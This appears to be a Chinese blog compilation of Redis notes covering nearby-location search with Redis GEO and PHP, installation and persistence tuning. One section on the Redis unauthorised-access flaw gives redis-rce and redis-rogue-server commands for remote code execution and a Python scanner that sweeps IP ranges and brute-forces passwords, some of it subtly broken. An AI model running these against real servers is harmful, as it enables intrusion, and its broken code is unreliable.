解决方案-LBS用户位置Redis-GEO附近人/店铺

news2025/1/17 23:22:01

在这里插入图片描述

附近人

  • windows安装
  • 附近人列表功能
    • mysql
    • redis GEO
  • CNNVD-201511-230 未授权访问
  • python 多线程 redis
    • 大端模式与小端模式
        • IP地址的不同表现形式
          • 1.字符串表现形式
          • 2. 整数表现形式
          • 3.大小端模式下的IP地址
      • 0x01 进入python正题
        • Python的socket库
          • 1.socket.socket(family,type)
          • 2.socket.connect(address)
          • 3.socket.connect_ex(address)
          • 4.socket.settimeout(value)
          • 5.socket.sendall(data)
          • 6.socket.recv(bufsize)
          • 7.socket.close()
        • Python的sys库
      • 0x02 Redis 服务特征识别
        • 1.PING命令
        • 2.AUTH命令
      • 0x03 代码编写
        • 编程实现Redis服务识别
        • 加入主函数
        • 密码字典爆破
        • 批量扫描同一网段下的主机
        • 多线程扫描
  • 缓存redis
  • 初识
      • #节点服务器redis#
          • #redis运维#
  • 安装
  • redis持久化 与 常见问题
        • #开发运维#
          • fork本身
        • 解决方案
      • 死活连接不上
        • 改完配置一定要重启!重启!重启!
  • 深入
  • 电商秒杀系统实战&&Redis集成
        • #添加依赖#![在这里插入图片描述](https://img-blog.csdnimg.cn/20191202170212204.png)
        • #添加配置#
          • #创建redisconfig#

windows安装

Ruoyi-SpringCloud版本-2.安装redis服务端和客户端-win7

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

附近人列表功能

方案优势缺点
Mysql外接正方形逻辑清晰,实现简单,支持多条件筛选效率较低,不适合大数据量,不支持按距离排序
Mysql+Geohash借助索引有效提高效率,支持多条件筛选不支持按距离排序,存在数据库瓶颈
Redis+Geohash效率高,集成便捷,支持距离排序不适合复杂对象存储,不支持多条件查询

mysql

轻量级  1w 以内 

经纬度  --->  四个临界点

redis GEO

GEO 就是 Geolocation 的简写形式,代表地理坐标。Redis 在 3.2 版本中加入了对 GEO 的支持,允许存储地理坐标信息,帮助我们根据经纬度来检索数据。
https://zhuanlan.zhihu.com/p/651015058



## geohash
地理位置操作


GEOADD 将指定的地理空间位置 经度纬度 名称 存储到指定key

GEORADIUS 以给定的经纬度为中心 找出某一半径内元素




## thinkphp

```php

// 假设您已经获取了用户的经纬度和需要搜索的距离范围
$lng = $_GET['lng']; // 用户的经度
$lat = $_GET['lat']; // 用户的纬度
$distance = $_GET['distance']; // 需要搜索的距离范围,单位为千米

// 计算经纬度范围
$earth = 6378.137; // 地球半径
$pi = 3.1415926535898; // 圆周率
$lng_min = $lng - rad2deg($distance / $earth / cos(deg2rad($lat)));
$lng_max = $lng + rad2deg($distance / $earth / cos(deg2rad($lat)));
$lat_min = $lat - rad2deg($distance / $earth);
$lat_max = $lat + rad2deg($distance / $earth);

// 查询商品表,根据距离排序,取前10条数据
$goods = Db::name('goods')
    ->field("*, (2 * $earth * asin(sqrt(pow(sin($pi * ($lat - lat) / 360), 2) + cos($pi * $lat / 180) * cos(lat * $pi / 180) * pow(sin($pi * ($lng - lng) / 360), 2)))) as distance")
    ->where('lng', 'between', [$lng_min, $lng_max])
    ->where('lat', 'between', [$lat_min, $lat_max])
    ->order('distance', 'asc')
    ->limit(10)
    ->select();

// 返回推荐商品的数据
return json($goods);


<html>
<head>
    <meta charset="utf-8">
    <title>商品推荐</title>
    <style>
        .goods {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-around;
            margin: 20px;
        }
        .item {
            width: 200px;
            height: 300px;
            border: 1px solid #ccc;
            margin: 10px;
            padding: 10px;
            box-sizing: border-box;
        }
        .item img {
            width: 180px;
            height: 180px;
        }
        .item h3 {
            font-size: 16px;
            margin: 10px 0;
        }
        .item p {
            font-size: 14px;
            color: #666;
        }
    </style>
</head>
<body>
    <div class="goods"></div>
    <script>
        // 假设您已经获取了用户的经纬度和需要搜索的距离范围
        var lng = 120.15; // 用户的经度
        var lat = 30.28; // 用户的纬度
        var distance = 10; // 需要搜索的距离范围,单位为千米

        // 发送Ajax请求,获取推荐商品的数据
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://localhost/goods?lng=' + lng + '&lat=' + lat + '&distance=' + distance);
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                var data = JSON.parse(xhr.responseText);
                // 渲染商品列表
                var goods = document.querySelector('.goods');
                goods.innerHTML = '';
                for (var i = 0; i < data.length; i++) {
                    var item = document.createElement('div');
                    item.className = 'item';
                    item.innerHTML = `
                        <img src="${data[i].image}" alt="${data[i].name}">
                        <h3>${data[i].name}</h3>
                        <p>价格:${data[i].price}元</p>
                        <p>距离:${data[i].distance.toFixed(2)}千米</p>
                    `;
                    goods.appendChild(item);
                }
            }
        };
        xhr.send();
    </script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CNNVD-201511-230 未授权访问

一、漏洞描述
Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的 API。

Redis 中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在 6379 端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。

当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问 Redis 并读取 Redis 的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。

二、漏洞影响
Redis <= 5.0.5

三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/redis/4-unacc docker-compose up -d 12
以开放在默认的 6379 端口,在攻击机使用redis-cli -h target-ip即可进行连接

2、漏洞复现

在这里插入图片描述

测试命令执行:

在这里插入图片描述
在这里插入图片描述
得到回显,可见存在未授权访问漏洞。
四、漏洞POC
使用 Redis 客户端连接:
redis-cli -h 0.0.0.0 1
执行info命令。

五、提权
https://blog.51cto.com/jiachen/2514921
https://www.cnblogs.com/zpchcbd/p/11739232.html

六、整改
https://blog.csdn.net/qq_40907977/article/details/106207488

https://blog.csdn.net/weixin_40412037/article/details/120347458

python3 redis-rce.py -r 115.29.67.37 -L 101.43.159.27 -f ./module.so

https://blog.csdn.net/Seizerz/article/details/103139905

https://www.cnblogs.com/1008612mrzou/p/14832260.html

redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

https://mp.weixin.qq.com/s/xMOlwnU5Jac25GPNnpD8Hg

python 多线程 redis

大端模式与小端模式

在内存中,数据的表示模式
分为两种:大端模式和小端模式。

大端模式
指数据的高字节保存在内存的低地址中,
而数据的低字节保存在内存的高地址中。

小端模式
数据的高字节保存在内存的高地址中
而数据的低字节保存在内存的低地址中
这种存储模式将地址的高低和数据位权有效地结合起来,
高地址部分权值高,低地址部分权值低,和我们的逻辑方法一致。

在小端模式表示法下,整数0x78563412在内存中的表示
在这里插入图片描述

  • 注意:Intel系列的CPU采用小端模式,而当数据在网络上传输时采用大端模式。
IP地址的不同表现形式

理解这些表现形式以及它们之间的相互转换方法,是遍历指定范围内的IP地址的一个重要方法。

1.字符串表现形式

也就是通常所说的点分十进制形式,如192.168.1.1,这是我们最熟悉的一种表现形式。

2. 整数表现形式

我们知道IPv4是32位的,而8位可以表示1个字节,

也就是说,IPv4地址可以表示为4字节的数据,刚好可以表示为一个无符号int类型的数据。

那么字符串形式的IP地址如何转换为整数数值呢?
因为点分十进制的IP中,每个被点分隔的数据占用1字节,
可以表示的范围是0~255,所以可以认为这是一个256进制的数,这样转换就非常简单了。

以IP地址220.181.111.188为例,其整数值为3702878140,计算过程为:

256^3*220+256^2*181+256^1*111+256^0*188=

256*256*256*220+256*256*181+256*111+188=3702878140

实际上220.181.111.188这个IP地址是pingwww.baidu.com得来的,
所以在浏览器中访问http://3702878140/实际上访问的就是百度了。

3.大小端模式下的IP地址

因为涉及到网络传输,所以当IP地址转换为数值形式时,
还存在大端和小端两种不同的形式。

我们计算出来的3702878140是小端模式表示法下的值,
在当做socket参数使用时,需要转换为大端模式。

0x01 进入python正题

Python的socket库

Python提供了一个socket库用于网络相关的编程,这里对其中几个重要的函数进行介绍

1.socket.socket(family,type)

用于创建一个socket;
family参数指定套接字的家族,在IPv4网络编程中值固定为socket.AF_INET;
type参数表明套接字的类型是UDP还是TCP,

UDP使用socket.SOCK_DGRAM,TCP使用socket.SOCK_STREAM。

2.socket.connect(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),
其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。

如果连接失败,该函数会抛出一个异常。

3.socket.connect_ex(address)

与指定的服务器建立通信连接,
其中address是一个元组(ip,port),其中IP为字符串,port为数值,如(“192.168.1.1”,6379)。
连接成功时函数返回0,
否则返回非0值。

4.socket.settimeout(value)

当使用socket.connect()或socket.connect_ex()连接服务器时,
在连通之前会阻塞一段时间,如果无法连通的话可能会阻塞很久,这会浪费许多时间。

因此,可以使用settimeout函数设置一个超时时间,
value是秒钟数,表示如果在这个时间内无法连接则直接返回。

5.socket.sendall(data)

立即把参数data指定的数据发送给远程服务器,其中data是字符串类型,
其中可以存储任意的二进制数据。

6.socket.recv(bufsize)

从远程服务器接收bufsize字节的数据。

7.socket.close()

关闭与远程服务器的socket连接。

Python的sys库

在使用C语言编写命令行程序是,
main函数提供了两个参数intargc和char**argv,
其中argc指定命令行参数的个数,argv则存储具体的命令行参数。
其中,argv[0]是命令行程序本身的名字,argv[1]存储第一个命令行参数,argv[2]存储第二个命令行参数,以此类推。

在Python中,可以通过sys库的argv参数获取命令行参数的值,
即sys.argv[0]、sys.argv[1]等,通过len(sys.argv)可以获取命令行参数的个数。

0x02 Redis 服务特征识别

在编写安全扫描器之前,我们遇到的第一个问题是:

如何识别指定的端口上运行的服务是否是Redis服务?
首先,Redis服务并不一定只能在6379端口上进行监听,
这个选项可以在Redis配置文件redis.conf里面进行修改;

其次,即使6379端口处于开放状态,我们也需要对其进行判断是否是Redis服务。
扫描器一般都通过端口返回的交互数据来判别端口上运行的具体服务,识别Redis服务也不例外。

首先,介绍一下Redis的PING和AUTH命令。

1.PING命令

在成功连接上Redis服务器之后,客户端往服务器发送PING命令,服务器会给客户端返回PONG这个字符串。

2.AUTH命令

如果Redis服务设置了连接密码,那么首先需要通过AUTH命令确认登陆密码。
在这里插入图片描述

从上面的操作步骤,我们已经可以总结出识别Redis服务的方法了:

1.指定的端口是否开放TCP服务;

2.执行PING命令:

a)如果提示

(error)NOAUTHAuthenticationrequired.表明是Redis服务

且需要登录密码;

b)如果提示

PONG,表明是Redis服务,且无需登录密码;

c)提示其他结果,表明不是Redis服务;

3.如果需要登录密码,执行AUTH命令:

a)如果提示

(error)ERRinvalidpassword,表明密码错误;

b)如果提示

OK,表明密码正确; 

0x03 代码编写

编程实现Redis服务识别

在编写代码之前,我们还需要知道的一点是:

客户端通过socket往服务器发送命令时,需要在后面加上回车换行,即\r\n;

我们在使用redis-cli发送PING命令时,redis-cli会自动加上\r\n,拼接成PING\r\n。
在编程实现扫描器时,我们需要自己加上\r\n。

识别Redis服务的代码如下所示

 #判断是否为redis服务
def is_redis_server(ip, port):
    """
      参数ip:字符串形式IP地址
      参数port:数值形式端口号,如6379
      返回值:-1 端口未开放,或者开放但不是Redis服务
              0   为Redis服务,但需要密码
              1   为Redis服务,不需要密码
    """
    # 创建一个TCP类型的socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
    # 尝试连接端口,如果返回值不为0,表示端口没有开放
    if s.connect_ex((ip, port)) != 0:
        return -1
    s.sendall("PING\r\n")
    msg = s.recv(1024)
    res = -1
    # 如果返回值包含PONG,成功且无密码
​
    if msg.find("PONG") != -1:
        res = 1
    # 如果返回值如下,则表示需要密码
    elif msg.find("NOAUTH") != -1:
        res = 0
    # 否则不是Redis服务,res = -1
​
    # 关闭socket链接
    s.close()
    return res

在上面的代码中,我们没有使用connect函数连接到目标服务器,而是使用了connect_ex函数。
因为前者在连接失败的情况下会抛出一个异常,
我们需要在代码中加入异常处理的代码;而使用connect_ex直接判断返回值即可,
可以使得代码更加的简洁。

加入主函数
 if __name__ =="__main__":
    ip = "127.0.0.1"
    port = 6379
    res = is_redis_server(ip,port)
    print res
密码字典爆破

Redis并没有限制客户端输入登录密码的次数。出于安全检测的目的,我们只对其进行弱口令检查
断的往Redis服务器发送AUTH命令即可,
如果返回结果包含字符串invalidpassword,表明密码错误,
如果返回结果包含字符串OK,则表明密码正确。

爆破密码的代码封装在check_password函数中,函数首先读取dict.txt文件的密码列表,
随后遍历列表中的密码并生成AUTH命令,
将生成的AUTH命令发送到服务器,
根据服务器的返回信息判断密码是否正确:
如果返回的信息包含OK则表明密码正确。具体的代码如下所示:

 def Check_password(s):
    """
    s:已连接redis服务器的socket
    返回值:密码字符串,失败返回None
    """
    fp = open("dict.txt")  #打开密码字典
    passwords = fp.readline()
    fp.close()
    for pwd in passwords:
        #删除末尾的“\r”,"\n","\r\n"
        pwd = pwd.strip()
        s.sendall("AUTH %s \r\n" %pwd)
        msg = s.recv(1024)
        if msg.find("OK") != -1:
            return pwd
    return None

只需要稍微修改is_redis_server函数即可,
在其中加入对check_password的调用

在这里插入图片描述

批量扫描同一网段下的主机

网段扫描功能,即可以指定要扫描的IP范围。
这里扫描IP范围直接通过命令行参数指定,如10.1.1.1 10.1.1.255表明共有255台主机需要扫描
那么如何遍历这255个IP地址呢?

  • 1.将字符串形式的点分十进制IP地址转换为数值

首先使用split将IP地址进行分离,比如"10.1.1.47".split(“.”),
这样各个点之间的数据就分离了,
得到列表[“10”,“1”,“1”,“47”],
随后将列表中的元素从字符串转换为int,
并乘以相应的系数后累加,代码如下:

 def ip_str2int(ip): 
    tmp = ip.split(".")
    a1 = int(tmp[0])*256*256*256
    a2 = int(tmp[1])*256*256
    a3 = int(tmp[2])*256
    a4 = int(tmp[3])
    ip = a1 + a2 + a3 + a4
    return ip
  • 2.通过步骤1,我们就可以计算出字符串IP地址对应的数值范围了,
    通过for循环遍历这个范围即可。
    遍历得到的数值IP还需要转换为字符串,这里通过位运算中的“与操作”以及“移位操作”实现。

例如IP地址17.34.51.68对应的数值形式为0x11223344(16进制),
那么0x11223344&0xFF000000得到0x11000000,
再向右移动24位就可以得到0x11,
即10进制的17。对应的代码如下:

 def ip_int2str(ip):
    a1 = (ip&0xFF000000)>>24
    a2 = (ip&0x00FF0000)>>16
    a3 = (ip&0x0000FF00)>>8
    a4 = ip&0x0000000FF
    ip = "%d.%d.%d.%d" %(a1,a2,a3,a4)
    return ip

网段范围扫描的代码封装在scan函数中,其中beg_ip通过sys.argv[1]获取,end_ip通过sys.argv[2]获取,具体的代码如下所示

 def scan(beg_ip,end_ip):
    """对指定ip返回内的主机进行检测"""
    #将点分十进制ip,转化成数值
    beg_ip = ip_str2int(beg_ip)
    end_ip = ip_str2int(end_ip)
    #遍历数值ip返回
    for ip in range(beg_ip,end_ip+1):
        ip = ip_int2str(ip)
        res,pwd = is_redis_server(ip,6379)
        if res ==1:
            print(ip)
        elif res==0 and pwd!=None:
            print ("%s  -> %s"%(ip,pwd))
    print("Scan Done!")

添加主函数

 if __name__ =="__main__":
    if len(sys.argv)== 3:
        scan(sys.argv[1],sys.argv[2])

在这里插入图片描述

多线程扫描

单线程的代码进行封装,然后使用python的threading库,便可以轻松实现多线程任务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

缓存redis

 info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出

初识

#节点服务器redis#

  • 高性能
  • Key-Value
  • 读写分离来承载读请求QPS超过10万
  • 多种数据结构
    (五大基础 字符串,哈希,列表,序列有序集合)
    String,Hash,List,Set,Sorted Set
    在这里插入图片描述
    (衍生bitmaps、hyperloglog、geo )

  • 丰富功能
    pipeline(提高客户端并发)
    发布订阅
    geo
    位图
    支持Lua脚本
    简单事务
    在这里插入图片描述

  • 高可用 分布式
    Redis Sentinel(哨兵)
    Redis Cluster Codis开源

  • 单线程 批量处理
  • 数据结构 应用场景
  • 各个语言 客户端使用

#redis运维#

在这里插入图片描述
在这里插入图片描述

  • 性能优化
  • 分布式基础

在这里插入图片描述

  • 服务/客户 交互故障 困扰解决——高可用

在这里插入图片描述

  • 分布式特性 ——伸缩
    在这里插入图片描述

  • 开源 源码定制化

在这里插入图片描述

  • 键值 存储 服务系统

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
—— key-Value 特性

在这里插入图片描述
在这里插入图片描述

 在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述在这里插入图片描述在这里插入图片描述


在这里插入图片描述

  • 两种持久化方式(RDB&AOF)

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

安装

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述

ping www.baidu.com
 wget http://download.redis.io/releases/redis-4.0.6.tar.gz

在这里插入图片描述

在这里插入图片描述

tar -xzf redis-4.0.6.tar.gz
##### ln -s redis-4.0.6 redis
mv redis-4.0.6 redis
cd redis

在这里插入图片描述

 		make && make install

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述




在这里插入图片描述在这里插入图片描述

 cd /root/redis/
 vi redis.conf

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

 	 cd  /root/redis/utils
 	 ./install_server.sh
 	 /root/redis/redis.conf
 	  /root/redis/redis.log
 	  /root/redis/data

在这里插入图片描述

	cat  /root/redis/redis.log

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

cd   /etc
mkdir redis
 cp /root/redis/redis.conf /etc/redis/6379.conf
 cp /root/redis/utils/redis_init_script  /etc/init.d/redisd

在这里插入图片描述在这里插入图片描述在这里插入图片描述

 cd /etc/init.d
 vi redisd
 chkconfig redisd on
 service redisd start

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

ps -ef |grep redis

在这里插入图片描述

  • 根据各种应用场景 去改就好

redis持久化 与 常见问题

#开发运维#
  • fork操作——子进程开销与优化
fork本身

(1)同步操作
虽然fork同步操作是非常快的,但是如果需要同步的数据量过大,fork就会阻塞redis主进程。

(2)与内存量息息相关
内存越大,fork同步数据耗时越长,当然也跟服务器有关,服务器有物理机,也有虚拟机。

(3)info:latest_fork_usec
使用此命令可以查看持久化花费的时间,如果持久化时间过长,就会造成卡顿。

 例如:
 如果redis此时QPS上万,此时redis正在持久化,而且持久化时间比较长(1s或者10几秒),
 这个时候就会严重阻塞redis。

2、改善fork
(1)优先使用物理机或者高效的虚拟机支持fork操作

(2)控制redis实际最大可用内存:maxmemory

(3)合理配置linux内存分配策略:vm.overcommit_memory=1

(4)降低fork频率:例如放宽AOF重写自动触发时机,减少不必要的全量复制。


  • 进程外开销
  • AOF追加阻塞 ——造成客户端超时
  • 单机 多部署 实例
解决方案

考虑到redis一般都是部署在服务器上作为服务存在的。所以,本文的解决方案都是持久性配置,不是临时配置。

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

第一个警告:

The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

对一个高负载的环境来说tcp设置128这个值,太小了。
然后我们可以手动设置,或者设置永久值.所以执行:

echo 511 > /proc/sys/net/core/somaxconn

在这里插入图片描述

但是这个只是暂时的。如果想要永久解决,打开/etc/sysctl.conf
在这里插入图片描述

 vi  /etc/sysctl.conf

在这里面添net.core.somaxconn= 1024 然后执行sysctl -p 就可以永久消除这个warning

在这里插入图片描述

第二个警告:overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add ‘vm.overcommit_memory = 1’ to/etc/sysctl.conf and then reboot or run the command ‘sysctl vm.overcommit_memory=1’ for this to take effect.

将vm.overcommit_memory = 1添加到/etc/sysctl.conf中,然后执行sysctl -p生效配置。

 sysctl -p

在这里插入图片描述
在这里插入图片描述

第三个警告:you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix thisissue run the command ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled’ as root, and add it to your /etc/rc.local in order to retain thesetting after a reboot. Redis must be restarted after THP is disabled.

在这里插入图片描述

echo never > /sys/kernel/mm/transparent_hugepage/enabled
添加到/etc/rc.local中

 vi /etc/rc.local

在这里插入图片描述在这里插入图片描述

然后执行source /etc/rc.local生效配置

 cd /etc/init.d

  systemctl restart redis_6379

在这里插入图片描述

死活连接不上

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
禁用防火墙
在RHEL7开始,使用systemctl工具来管理服务程序,包括了service和chkconfig

[root@rhel7 ~]# systemctl stop firewalld.service
[root@rhel7 ~]# systemctl disable firewalld.service
[root@rhel7 ~]# systemctl status firewalld.service

在这里插入图片描述

 启动一个服务:systemctl start firewalld.service
 关闭一个服务:systemctl stop firewalld.service
 重启一个服务:systemctl restart firewalld.service
 显示一个服务的状态:systemctl status firewalld.service
 在开机时启用一个服务:systemctl enable firewalld.service
 在开机时禁用一个服务:systemctl disable firewalld.service
 查看服务是否开机启动:systemctl is-enabled firewalld.service;echo $?
 查看已启动的服务列表:systemctl list-unit-files|grep enabled

关闭防火墙

改完配置一定要重启!重启!重启!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

深入

前题

  • redis 集群搭建
  • 伸缩细节 扩容 、缩容
  • 客户端使用
  • 单机 Sentinel Cluster 客户端改动
  • JedisPool JedisSentinelPool 连接
  • 自身方式连接

在这里插入图片描述

  • 节点迁移 槽迁移

电商秒杀系统实战&&Redis集成

在这里插入图片描述

  • 对象序列化 fastjson 明文可读json
#添加依赖#在这里插入图片描述

在这里插入图片描述

#添加配置#

在这里插入图片描述 在这里插入图片描述

#创建redisconfig#

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 生成 get方法在这里插入图片描述
  • 添加 redis server
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述 在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1104244.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【前端学习】—多种方式实现数组拍平(十一)

【前端学习】—多种方式实现数组拍平&#xff08;十一&#xff09; 一、数组拍平 数组拍平也叫数组扁平化、数组拉平、数组降维&#xff0c;指的是把多维数组转化为一维数组。 二、使用场景 复杂场景下的数据处理&#xff08;echarts做大屏数据展示&#xff09; 三、如何实…

华硕U盘盘重装Win10系统步骤图解

重装操作系统是在电脑系统遇到问题或者需要清除所有数据时的一种常见解决方法。但是&#xff0c;很多使用华硕电脑的新手用户&#xff0c;不清楚具体的操作步骤&#xff0c;接下来小编就给介绍关于利用U盘给华硕电脑重装Win10系统的方法&#xff0c;帮助用户们更快地完成系统的…

Shader Graph25-UV移动旋转缩放(自定义函数)

我们将UV操作放入函数内&#xff0c;该函数的内容来自我之前的文章 Shader Graph24-摇晃树叶-CSDN博客 一、UE在Material中右键&#xff0c;新建Material Function。 增加输入 二、新建Material&#xff0c;命名为DemoUVRotationUseFunction Offset为偏移值&#xff0c;Rotat…

VMware虚拟机安装Linux系统的介绍

许多新手连 Windows 的安装都不太熟悉&#xff0c;更别提 Linux 的安装了&#xff1b;即使安装成功了&#xff0c;也有可能破坏现有的 Windows 系统&#xff0c;比如导致硬盘数据丢失、Windows 无法开机等。所以一直以来&#xff0c;安装 Linux 系统都是初学者的噩梦。 然而&a…

填充颜色游戏

无语死了这题。 题目描述 小明最近迷上下面一款游戏。游戏开始时&#xff0c; 系统将随机生成一个 N N 的 正方形棋盘&#xff0c; 棋盘的每个格子都由六种颜色中的一种绘制。在每个步骤中&#xff0c; 玩家选择一种颜色&#xff0c; 并将与左上角连接的所有网格更改为该特…

MSQL系列(四) Mysql实战-索引 Explain实战

Mysql实战-索引 Explain实战 前面我们讲解了索引的存储结构&#xff0c;我们知道了BTree的索引结构&#xff0c;也了解了索引最左侧匹配原则&#xff0c;到底最左侧匹配原则在我们的项目中有什么用&#xff1f;或者说有什么影响&#xff1f;今天我们来实战操作一下&#xff0c…

Yakit工具篇:子域名收集的配置和使用

简介(来自官方文档) 子域名收集是指通过各种技术手段&#xff0c;收集某个主域名下所有的子域名列表。子域名是指在主域名前面添加一级或多级名称的域名。例如&#xff0c;对于主域名example.com&#xff0c;其子域名可以是www.example.com、mail.example.com、blog.example.c…

MIT6.5830 Lab0-Go tutorial实验记录(二)

MIT6.5830 Lab0-Go tutorial实验记录&#xff08;二&#xff09; – WhiteNights Site 标签&#xff1a;Golang, 数据库 在将数据库的数据转换为图表前&#xff0c;我们需要先测试是否能正常访问数据库文件。 写者注 为什么要怎么做&#xff1f;因为这块 非常容易出问题。在h…

计算机基础知识33

进程基础(操作系统中的概念) 进程它是操作系统总最重要的概念&#xff0c;线程也是 进程和线程都是有操作系统来调度使用的&#xff0c;我们程序员是不能控制的 # 进程和程序是两码事、完全不一样 程序&#xff1a;其实一个死的东西、一堆代码就是程序&#xff0c;它也没有生命…

【5】c++11新特性(稳定性和兼容性)—>override关键字

override关键字很简单&#xff0c;就是起到一个检查的作用&#xff0c;父类中有一个虚函数&#xff0c;子类要去重写这个虚函数&#xff0c;那么在子类重写时&#xff0c;函数后面加上override&#xff0c;就会检查子类中重写的这个函数和父类中这个虚函数名是否一样&#xff0…

FISCO过程中存在的的问题

问题1&#xff1a;端口被占 报错&#xff1a;Exceed waiting time. Please try again to start node0 initConfig for P2PInitializer failed,check Port30303,EINFOThrow location unknown (consider using BOOST_THROW_EXCEPTION) Dynamic exception type: boost::exception_…

80026-044-06-R 数字伺服驱动器提供了更好的配置和性能

80026-044-06-R 数字伺服驱动器提供了更好的配置和性能 由于它们的精密性能&#xff0c;伺服驱动器被用于机器人&#xff0c;自动化&#xff0c;数控加工&#xff0c;甚至在过程中制造半导体. 一些运动控制应用使用模拟伺服驱动器&#xff0c;这是一项久经考验的技术。虽然它…

数据结构之顺序表的模拟实现

